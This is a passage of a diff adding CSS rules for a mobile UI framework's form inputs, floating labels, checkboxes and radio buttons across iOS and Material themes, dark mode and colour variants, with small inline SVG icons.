rgba(0, 0, 0, 0.35); +} +.md .list input[type="text"]::placeholder, +.md .list input[type="password"]::placeholder, +.md .list input[type="search"]::placeholder, +.md .list input[type="email"]::placeholder, +.md .list input[type="tel"]::placeholder, +.md .list input[type="url"]::placeholder, +.md .list input[type="date"]::placeholder, +.md .list input[type="datetime-local"]::placeholder, +.md .list input[type="time"]::placeholder, +.md .list input[type="number"]::placeholder, +.md .list select::placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .list textarea { + color: #212121; + font-size: 16px; + padding-top: 7px; + padding-bottom: 7px; +} +.md .list textarea.resizable { + height: 36px; +} +.md .list textarea::-webkit-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .list textarea:-ms-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .list textarea::-ms-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .list textarea::placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .item-input-wrap:after, +.md .input:after { + -webkit-transition-duration: 200ms; + transition-duration: 200ms; +} +.md .item-input-wrap { + min-height: 36px; +} +.md .item-input-wrap:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .item-input-wrap:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .item-input-wrap:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .input:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .input:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .input:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .item-label, +.md .item-floating-label { + font-size: 12px; + width: 100%; + color: rgba(0, 0, 0, 0.65); + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + line-height: 13px; + -webkit-transition-property: color, -webkit-transform; + transition-property: color, -webkit-transform; + transition-property: transform, color; + transition-property: transform, color, -webkit-transform; +} +.md .item-floating-label { + -webkit-transform: scale(1.33333333) translateY(18px); + transform: scale(1.33333333) translateY(18px); + color: rgba(0, 0, 0, 0.35); + width: auto; + max-width: 75%; + pointer-events: none; + -webkit-transform-origin: left; + transform-origin: left; +} +.md .item-floating-label ~ .item-input-wrap input::-webkit-input-placeholder, +.md .item-floating-label ~ .item-input-wrap textarea::-webkit-input-placeholder { + color: transparent !important; +} +.md .item-floating-label ~ .item-input-wrap input:-ms-input-placeholder, +.md .item-floating-label ~ .item-input-wrap textarea:-ms-input-placeholder { + color: transparent !important; +} +.md .item-floating-label ~ .item-input-wrap input::-ms-input-placeholder, +.md .item-floating-label ~ .item-input-wrap textarea::-ms-input-placeholder { + color: transparent !important; +} +.md .item-floating-label ~ .item-input-wrap input::placeholder, +.md .item-floating-label ~ .item-input-wrap textarea::placeholder { + color: transparent !important; +} +.md .item-input-with-value .item-floating-label, +.md .item-input-focused .item-floating-label { + -webkit-transform: scale(1) translateY(0); + transform: scale(1) translateY(0); +} +.md .item-input-with-value .item-floating-label { + color: rgba(0, 0, 0, 0.65); +} +.md .item-input .item-media { + -webkit-align-self: flex-end; + -ms-flex-item-align: end; + align-self: flex-end; +} +.md .item-input .item-inner { + display: block; +} +.md .item-input .item-inner:after { + display: none !important; +} +.md .inline-labels .item-media, +.md .inline-label .item-media { + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; + padding-top: 14px; +} +.md .inline-labels .item-inner, +.md .inline-label .item-inner { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.md .inline-labels .item-label, +.md .inline-label .item-label, +.md .inline-labels .item-floating-label, +.md .inline-label .item-floating-label { + font-size: 16px; + width: 30%; + line-height: 1.5; + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; + padding-top: 7px; +} +.md .inline-labels .item-label + .item-input-wrap, +.md .inline-label .item-label + .item-input-wrap, +.md .inline-labels .item-floating-label + .item-input-wrap, +.md .inline-label .item-floating-label + .item-input-wrap { + margin-left: 8px; +} +.md .item-input-with-error-message, +.md .item-input-with-info, +.md div.input-with-error-message, +.md div.input-with-info, +.md span.input-with-error-message, +.md span.input-with-info { + padding-bottom: 20px; +} +.md .item-input-error-message, +.md .item-input-info, +.md .input-error-message, +.md .input-info { + font-size: 12px; + line-height: 1.4; + position: absolute; + top: 100%; + margin-top: 4px; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + display: block; + left: 0; + right: 16px; +} +.md .item-input-info, +.md .input-info { + color: rgba(0, 0, 0, 0.45); +} +.md .item-input-error-message, +.md .input-error-message { + color: #f44336; + display: none; +} +.md .item-input-focused .item-label, +.md .item-input-focused .item-floating-label { + color: #2196f3; +} +.md .item-input-focused .item-input-wrap:after, +.md .input-focused:after { + background: #2196f3; +} +.md .item-input-invalid .item-label, +.md .item-invalid .item-label, +.md .item-input-invalid .item-floating-label, +.md .item-invalid .item-floating-label { + color: #f44336; +} +.md .item-input-invalid .item-input-error-message, +.md .item-invalid .item-input-error-message, +.md .item-input-invalid .input-error-message, +.md .item-invalid .input-error-message { + display: block; +} +.md .item-input-invalid .item-input-info, +.md .item-invalid .item-input-info, +.md .item-input-invalid .input-info, +.md .item-invalid .input-info { + display: none; +} +.md .item-input-invalid .item-input-wrap:after, +.md .input-invalid:after { + background: #f44336; +} +.md .item-input-invalid .item-input-wrap:after, +.md .item-input-focused .item-input-wrap:after { + -webkit-transform: scaleY(2); + transform: scaleY(2); +} +.md .input-invalid:after, +.md .input-focused:after { + -webkit-transform: scaleY(2) !important; + transform: scaleY(2) !important; +} +.md .input-clear-button { + width: 24px; + height: 24px; + background: rgba(0, 0, 0, 0.12); + margin-top: -12px; +} +.md .input-clear-button:after { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M19%206.41L17.59%205%2012%2010.59%206.41%205%205%206.41%2010.59%2012%205%2017.59%206.41%2019%2012%2013.41%2017.59%2019%2019%2017.59%2013.41%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); + background-size: 16px 16px; + opacity: 0.54; +} +.md .input-clear-button:before { + width: 48px; + height: 48px; + margin-left: -24px; + margin-top: -24px; +} +.md .item-input-wrap .input-clear-button { + bottom: 6px; + margin-top: 0; + top: auto; +} +.md .theme-dark input[type="text"], +.md .theme-dark input[type="password"], +.md .theme-dark input[type="search"], +.md .theme-dark input[type="email"], +.md .theme-dark input[type="tel"], +.md .theme-dark input[type="url"], +.md .theme-dark input[type="date"], +.md .theme-dark input[type="datetime-local"], +.md .theme-dark input[type="time"], +.md .theme-dark input[type="number"], +.md .theme-dark select, +.md .theme-dark textarea { + color: rgba(255, 255, 255, 0.87); +} +.md .theme-dark input[type="text"]::-webkit-input-placeholder, +.md .theme-dark input[type="password"]::-webkit-input-placeholder, +.md .theme-dark input[type="search"]::-webkit-input-placeholder, +.md .theme-dark input[type="email"]::-webkit-input-placeholder, +.md .theme-dark input[type="tel"]::-webkit-input-placeholder, +.md .theme-dark input[type="url"]::-webkit-input-placeholder, +.md .theme-dark input[type="date"]::-webkit-input-placeholder, +.md .theme-dark input[type="datetime-local"]::-webkit-input-placeholder, +.md .theme-dark input[type="time"]::-webkit-input-placeholder, +.md .theme-dark input[type="number"]::-webkit-input-placeholder, +.md .theme-dark select::-webkit-input-placeholder, +.md .theme-dark textarea::-webkit-input-placeholder { + color: rgba(255, 255, 255, 0.35); +} +.md .theme-dark input[type="text"]:-ms-input-placeholder, +.md .theme-dark input[type="password"]:-ms-input-placeholder, +.md .theme-dark input[type="search"]:-ms-input-placeholder, +.md .theme-dark input[type="email"]:-ms-input-placeholder, +.md .theme-dark input[type="tel"]:-ms-input-placeholder, +.md .theme-dark input[type="url"]:-ms-input-placeholder, +.md .theme-dark input[type="date"]:-ms-input-placeholder, +.md .theme-dark input[type="datetime-local"]:-ms-input-placeholder, +.md .theme-dark input[type="time"]:-ms-input-placeholder, +.md .theme-dark input[type="number"]:-ms-input-placeholder, +.md .theme-dark select:-ms-input-placeholder, +.md .theme-dark textarea:-ms-input-placeholder { + color: rgba(255, 255, 255, 0.35); +} +.md .theme-dark input[type="text"]::-ms-input-placeholder, +.md .theme-dark input[type="password"]::-ms-input-placeholder, +.md .theme-dark input[type="search"]::-ms-input-placeholder, +.md .theme-dark input[type="email"]::-ms-input-placeholder, +.md .theme-dark input[type="tel"]::-ms-input-placeholder, +.md .theme-dark input[type="url"]::-ms-input-placeholder, +.md .theme-dark input[type="date"]::-ms-input-placeholder, +.md .theme-dark input[type="datetime-local"]::-ms-input-placeholder, +.md .theme-dark input[type="time"]::-ms-input-placeholder, +.md .theme-dark input[type="number"]::-ms-input-placeholder, +.md .theme-dark select::-ms-input-placeholder, +.md .theme-dark textarea::-ms-input-placeholder { + color: rgba(255, 255, 255, 0.35); +} +.md .theme-dark input[type="text"]::placeholder, +.md .theme-dark input[type="password"]::placeholder, +.md .theme-dark input[type="search"]::placeholder, +.md .theme-dark input[type="email"]::placeholder, +.md .theme-dark input[type="tel"]::placeholder, +.md .theme-dark input[type="url"]::placeholder, +.md .theme-dark input[type="date"]::placeholder, +.md .theme-dark input[type="datetime-local"]::placeholder, +.md .theme-dark input[type="time"]::placeholder, +.md .theme-dark input[type="number"]::placeholder, +.md .theme-dark select::placeholder, +.md .theme-dark textarea::placeholder { + color: rgba(255, 255, 255, 0.35); +} +.md .theme-dark .item-input:not(.item-input-focused) .item-input-wrap:after, +.md .theme-dark .input:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .item-label, +.md .theme-dark .item-floating-label { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .item-floating-label { + color: rgba(255, 255, 255, 0.35); +} +.md .theme-dark .item-input-with-value .item-floating-label { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .input-clear-button { + background: #fff; +} +.md .color-theme-red .item-input-focused .item-label, +.md .color-theme-red .item-input-focused .item-floating-label { + color: #f44336; +} +.md .color-theme-red .item-input-focused .item-input-wrap:after, +.md .color-theme-red .input-after:after { + background: #f44336; +} +.md .color-theme-green .item-input-focused .item-label, +.md .color-theme-green .item-input-focused .item-floating-label { + color: #4caf50; +} +.md .color-theme-green .item-input-focused .item-input-wrap:after, +.md .color-theme-green .input-after:after { + background: #4caf50; +} +.md .color-theme-blue .item-input-focused .item-label, +.md .color-theme-blue .item-input-focused .item-floating-label { + color: #2196f3; +} +.md .color-theme-blue .item-input-focused .item-input-wrap:after, +.md .color-theme-blue .input-after:after { + background: #2196f3; +} +.md .color-theme-pink .item-input-focused .item-label, +.md .color-theme-pink .item-input-focused .item-floating-label { + color: #e91e63; +} +.md .color-theme-pink .item-input-focused .item-input-wrap:after, +.md .color-theme-pink .input-after:after { + background: #e91e63; +} +.md .color-theme-yellow .item-input-focused .item-label, +.md .color-theme-yellow .item-input-focused .item-floating-label { + color: #ffeb3b; +} +.md .color-theme-yellow .item-input-focused .item-input-wrap:after, +.md .color-theme-yellow .input-after:after { + background: #ffeb3b; +} +.md .color-theme-orange .item-input-focused .item-label, +.md .color-theme-orange .item-input-focused .item-floating-label { + color: #ff9800; +} +.md .color-theme-orange .item-input-focused .item-input-wrap:after, +.md .color-theme-orange .input-after:after { + background: #ff9800; +} +.md .color-theme-gray .item-input-focused .item-label, +.md .color-theme-gray .item-input-focused .item-floating-label { + color: #9e9e9e; +} +.md .color-theme-gray .item-input-focused .item-input-wrap:after, +.md .color-theme-gray .input-after:after { + background: #9e9e9e; +} +.md .color-theme-white .item-input-focused .item-label, +.md .color-theme-white .item-input-focused .item-floating-label { + color: #ffffff; +} +.md .color-theme-white .item-input-focused .item-input-wrap:after, +.md .color-theme-white .input-after:after { + background: #ffffff; +} +.md .color-theme-black .item-input-focused .item-label, +.md .color-theme-black .item-input-focused .item-floating-label { + color: #000000; +} +.md .color-theme-black .item-input-focused .item-input-wrap:after, +.md .color-theme-black .input-after:after { + background: #000000; +} +.md .item-input-focused.color-red .item-label, +.md .item-input-focused.color-red .item-floating-label { + color: #f44336; +} +.md .item-input-focused.color-red .item-input-wrap:after, +.md .input-after.color-red:after { + background: #f44336; +} +.md .item-input-focused.color-green .item-label, +.md .item-input-focused.color-green .item-floating-label { + color: #4caf50; +} +.md .item-input-focused.color-green .item-input-wrap:after, +.md .input-after.color-green:after { + background: #f44336; +} +.md .item-input-focused.color-blue .item-label, +.md .item-input-focused.color-blue .item-floating-label { + color: #2196f3; +} +.md .item-input-focused.color-blue .item-input-wrap:after, +.md .input-after.color-blue:after { + background: #f44336; +} +.md .item-input-focused.color-pink .item-label, +.md .item-input-focused.color-pink .item-floating-label { + color: #e91e63; +} +.md .item-input-focused.color-pink .item-input-wrap:after, +.md .input-after.color-pink:after { + background: #f44336; +} +.md .item-input-focused.color-yellow .item-label, +.md .item-input-focused.color-yellow .item-floating-label { + color: #ffeb3b; +} +.md .item-input-focused.color-yellow .item-input-wrap:after, +.md .input-after.color-yellow:after { + background: #f44336; +} +.md .item-input-focused.color-orange .item-label, +.md .item-input-focused.color-orange .item-floating-label { + color: #ff9800; +} +.md .item-input-focused.color-orange .item-input-wrap:after, +.md .input-after.color-orange:after { + background: #f44336; +} +.md .item-input-focused.color-gray .item-label, +.md .item-input-focused.color-gray .item-floating-label { + color: #9e9e9e; +} +.md .item-input-focused.color-gray .item-input-wrap:after, +.md .input-after.color-gray:after { + background: #f44336; +} +.md .item-input-focused.color-white .item-label, +.md .item-input-focused.color-white .item-floating-label { + color: #ffffff; +} +.md .item-input-focused.color-white .item-input-wrap:after, +.md .input-after.color-white:after { + background: #f44336; +} +.md .item-input-focused.color-black .item-label, +.md .item-input-focused.color-black .item-floating-label { + color: #000000; +} +.md .item-input-focused.color-black .item-input-wrap:after, +.md .input-after.color-black:after { + background: #f44336; +} +/* === Checkbox === */ +.icon-checkbox, +.checkbox i { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.checkbox { + position: relative; + display: inline-block; + vertical-align: middle; + z-index: 1; +} +label.item-checkbox, +.checkbox { + cursor: pointer; +} +label.item-checkbox input[type="checkbox"], +.checkbox input[type="checkbox"], +label.item-checkbox input[type="radio"], +.checkbox input[type="radio"] { + display: none; +} +label.item-checkbox .icon-checkbox, +.checkbox .icon-checkbox { + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + display: block; +} +label.item-checkbox .icon-checkbox:after, +.checkbox .icon-checkbox:after { + content: ''; + position: absolute; +} +label.item-checkbox { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +label.item-checkbox.active-state:after { + background-color: transparent; +} +label.item-checkbox.disabled, +.disabled label.item-checkbox { + opacity: 0.55; + pointer-events: none; + opacity: 0.55 !important; + pointer-events: none !important; +} +.ios .icon-checkbox, +.ios .checkbox i { + width: 22px; + height: 22px; + border-radius: 50%; + border: 1px solid #c7c7cc; +} +.ios .icon-checkbox:after, +.ios .checkbox i:after { + left: 50%; + top: 50%; + margin-left: -6px; + margin-top: -4px; + width: 12px; + height: 9px; +} +.ios label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox input[type="checkbox"]:checked ~ i { + border: none; + background: #007aff; +} +.ios label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox:after, +.ios .checkbox input[type="checkbox"]:checked ~ i:after { + background: no-repeat center; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20x%3D'0px'%20y%3D'0px'%20viewBox%3D'0%200%2012%209'%20xml%3Aspace%3D'preserve'%3E%3Cpolygon%20fill%3D'%23ffffff'%20points%3D'12%2C0.7%2011.3%2C0%203.9%2C7.4%200.7%2C4.2%200%2C4.9%203.9%2C8.8%203.9%2C8.8%203.9%2C8.8%20'%2F%3E%3C%2Fsvg%3E"); + background-size: 12px 9px; +} +.ios label.item-checkbox > .icon-checkbox { + margin-right: 15px; +} +.ios label.item-checkbox .item-content .item-media, +.ios label.item-checkbox.item-content .item-media { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; +} +.ios label.item-checkbox.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + background-color: #d9d9d9; +} +.ios .theme-dark label.item-checkbox.active-state { + background-color: #363636; +} +.ios .color-theme-red label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-red .checkbox input[type="checkbox"]:checked ~ i { + background: #ff3b30; +} +.ios .color-theme-green label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-green .checkbox input[type="checkbox"]:checked ~ i { + background: #4cd964; +} +.ios .color-theme-blue label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-blue .checkbox input[type="checkbox"]:checked ~ i { + background: #007aff; +} +.ios .color-theme-pink label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-pink .checkbox input[type="checkbox"]:checked ~ i { + background: #ff2d55; +} +.ios .color-theme-yellow label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-yellow .checkbox input[type="checkbox"]:checked ~ i { + background: #ffcc00; +} +.ios .color-theme-orange label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-orange .checkbox input[type="checkbox"]:checked ~ i { + background: #ff9500; +} +.ios .color-theme-gray label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-gray .checkbox input[type="checkbox"]:checked ~ i { + background: #8e8e93; +} +.ios .color-theme-white label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-white .checkbox input[type="checkbox"]:checked ~ i { + background: #ffffff; +} +.ios .color-theme-black label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-black .checkbox input[type="checkbox"]:checked ~ i { + background: #000000; +} +.ios label.item-checkbox.color-red input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-red input[type="checkbox"]:checked ~ i { + background: #ff3b30; +} +.ios label.item-checkbox.color-green input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-green input[type="checkbox"]:checked ~ i { + background: #4cd964; +} +.ios label.item-checkbox.color-blue input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-blue input[type="checkbox"]:checked ~ i { + background: #007aff; +} +.ios label.item-checkbox.color-pink input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-pink input[type="checkbox"]:checked ~ i { + background: #ff2d55; +} +.ios label.item-checkbox.color-yellow input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-yellow input[type="checkbox"]:checked ~ i { + background: #ffcc00; +} +.ios label.item-checkbox.color-orange input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-orange input[type="checkbox"]:checked ~ i { + background: #ff9500; +} +.ios label.item-checkbox.color-gray input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-gray input[type="checkbox"]:checked ~ i { + background: #8e8e93; +} +.ios label.item-checkbox.color-white input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-white input[type="checkbox"]:checked ~ i { + background: #ffffff; +} +.ios label.item-checkbox.color-black input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-black input[type="checkbox"]:checked ~ i { + background: #000000; +} +.md .icon-checkbox, +.md .checkbox i { + width: 18px; + height: 18px; + border-radius: 2px; + border: 2px solid #6d6d6d; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + background-color: transparent; +} +.md .icon-checkbox:after, +.md .checkbox i:after { + width: 18px; + height: 18px; + left: -2px; + top: -2px; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + opacity: 0; + background: no-repeat center; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M9%2016.17L4.83%2012l-1.42%201.41L9%2019%2021%207l-1.41-1.41z'%2F%3E%3C%2Fsvg%3E"); + background-size: 100% auto; +} +.md label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox input[type="checkbox"]:checked ~ i { + background-color: #2196f3; + border-color: #2196f3; +} +.md label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox:after, +.md label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox:after, +.md .checkbox input[type="checkbox"]:checked ~ i:after { + opacity: 1; +} +.md label.item-checkbox { + position: relative; + overflow: hidden; + z-index: 0; +} +.md label.item-checkbox > .icon-checkbox { + margin-right: 38px; +} +.md label.item-checkbox .item-content .item-media, +.md label.item-checkbox.item-content .item-media { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; +} +.md label.item-checkbox.active-state { + background-color: rgba(0, 0, 0, 0.1); +} +.md .theme-dark label.item-checkbox.active-state { + background-color: rgba(255, 255, 255, 0.05); +} +.md .theme-dark .icon-checkbox, +.md .theme-dark .checkbox i { + border-color: rgba(255, 255, 255, 0.54); +} +.md .color-theme-red label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-red label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-red .checkbox input[type="checkbox"]:checked ~ i { + background-color: #f44336; + border-color: #f44336; +} +.md .color-theme-red .checkbox .ripple-wave { + background: rgba(244, 67, 54, 0.5); +} +.md .color-theme-green label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-green label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-green .checkbox input[type="checkbox"]:checked ~ i { + background-color: #4caf50; + border-color: #4caf50; +} +.md .color-theme-green .checkbox .ripple-wave { + background: rgba(76, 175, 80, 0.5); +} +.md .color-theme-blue label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-blue label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-blue .checkbox input[type="checkbox"]:checked ~ i { + background-color: #2196f3; + border-color: #2196f3; +} +.md .color-theme-blue .checkbox .ripple-wave { + background: rgba(33, 150, 243, 0.5); +} +.md .color-theme-pink label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-pink label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-pink .checkbox input[type="checkbox"]:checked ~ i { + background-color: #e91e63; + border-color: #e91e63; +} +.md .color-theme-pink .checkbox .ripple-wave { + background: rgba(233, 30, 99, 0.5); +} +.md .color-theme-yellow label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-yellow label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-yellow .checkbox input[type="checkbox"]:checked ~ i { + background-color: #ffeb3b; + border-color: #ffeb3b; +} +.md .color-theme-yellow .checkbox .ripple-wave { + background: rgba(255, 235, 59, 0.5); +} +.md .color-theme-orange label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-orange label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-orange .checkbox input[type="checkbox"]:checked ~ i { + background-color: #ff9800; + border-color: #ff9800; +} +.md .color-theme-orange .checkbox .ripple-wave { + background: rgba(255, 152, 0, 0.5); +} +.md .color-theme-gray label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-gray label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-gray .checkbox input[type="checkbox"]:checked ~ i { + background-color: #9e9e9e; + border-color: #9e9e9e; +} +.md .color-theme-gray .checkbox .ripple-wave { + background: rgba(158, 158, 158, 0.5); +} +.md .color-theme-white label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-white label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-white .checkbox input[type="checkbox"]:checked ~ i { + background-color: #ffffff; + border-color: #ffffff; +} +.md .color-theme-white .checkbox .ripple-wave { + background: rgba(255, 255, 255, 0.5); +} +.md .color-theme-black label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.md .color-theme-black label.item-checkbox input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .color-theme-black .checkbox input[type="checkbox"]:checked ~ i { + background-color: #000000; + border-color: #000000; +} +.md .color-theme-black .checkbox .ripple-wave { + background: rgba(0, 0, 0, 0.5); +} +.md label.item-checkbox.color-red input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-red input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-red input[type="checkbox"]:checked ~ i { + background-color: #f44336; + border-color: #f44336; +} +.md .checkbox.color-red .ripple-wave { + background: rgba(244, 67, 54, 0.5); +} +.md label.item-checkbox.color-green input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-green input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-green input[type="checkbox"]:checked ~ i { + background-color: #4caf50; + border-color: #4caf50; +} +.md .checkbox.color-green .ripple-wave { + background: rgba(76, 175, 80, 0.5); +} +.md label.item-checkbox.color-blue input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-blue input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-blue input[type="checkbox"]:checked ~ i { + background-color: #2196f3; + border-color: #2196f3; +} +.md .checkbox.color-blue .ripple-wave { + background: rgba(33, 150, 243, 0.5); +} +.md label.item-checkbox.color-pink input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-pink input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-pink input[type="checkbox"]:checked ~ i { + background-color: #e91e63; + border-color: #e91e63; +} +.md .checkbox.color-pink .ripple-wave { + background: rgba(233, 30, 99, 0.5); +} +.md label.item-checkbox.color-yellow input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-yellow input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-yellow input[type="checkbox"]:checked ~ i { + background-color: #ffeb3b; + border-color: #ffeb3b; +} +.md .checkbox.color-yellow .ripple-wave { + background: rgba(255, 235, 59, 0.5); +} +.md label.item-checkbox.color-orange input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-orange input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-orange input[type="checkbox"]:checked ~ i { + background-color: #ff9800; + border-color: #ff9800; +} +.md .checkbox.color-orange .ripple-wave { + background: rgba(255, 152, 0, 0.5); +} +.md label.item-checkbox.color-gray input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-gray input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-gray input[type="checkbox"]:checked ~ i { + background-color: #9e9e9e; + border-color: #9e9e9e; +} +.md .checkbox.color-gray .ripple-wave { + background: rgba(158, 158, 158, 0.5); +} +.md label.item-checkbox.color-white input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-white input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-white input[type="checkbox"]:checked ~ i { + background-color: #ffffff; + border-color: #ffffff; +} +.md .checkbox.color-white .ripple-wave { + background: rgba(255, 255, 255, 0.5); +} +.md label.item-checkbox.color-black input[type="checkbox"]:checked ~ .icon-checkbox, +.md label.item-checkbox.color-black input[type="checkbox"]:checked ~ * .icon-checkbox, +.md .checkbox.color-black input[type="checkbox"]:checked ~ i { + background-color: #000000; + border-color: #000000; +} +.md .checkbox.color-black .ripple-wave { + background: rgba(0, 0, 0, 0.5); +} +/* === Radio === */ +.icon-radio { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.radio { + position: relative; + display: inline-block; + vertical-align: middle; + z-index: 1; +} +label.item-radio, +.radio { + cursor: pointer; +} +label.item-radio input[type="checkbox"], +.radio input[type="checkbox"], +label.item-radio input[type="radio"], +.radio input[type="radio"] { + display: none; +} +label.item-radio .icon-radio, +.radio .icon-radio { + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + display: block; +} +label.item-radio .icon-radio:after, +.radio .icon-radio:after { + content: ''; + position: absolute; +} +label.item-radio { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +label.item-radio.active-state:after { + background-color: transparent; +} +label.item-radio.disabled, +.disabled label.item-radio { + opacity: 0.55; + pointer-events: none; + opacity: 0.55 !important; + pointer-events: none !important; +} +.ios .icon-radio { + width: 22px; + height: 22px; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: block; +} +.ios .radio .icon-radio { + border-radius: 50%; + border: 1px solid #c7c7cc; +} +.ios label.item-radio input[type="radio"] ~ .icon-radio { 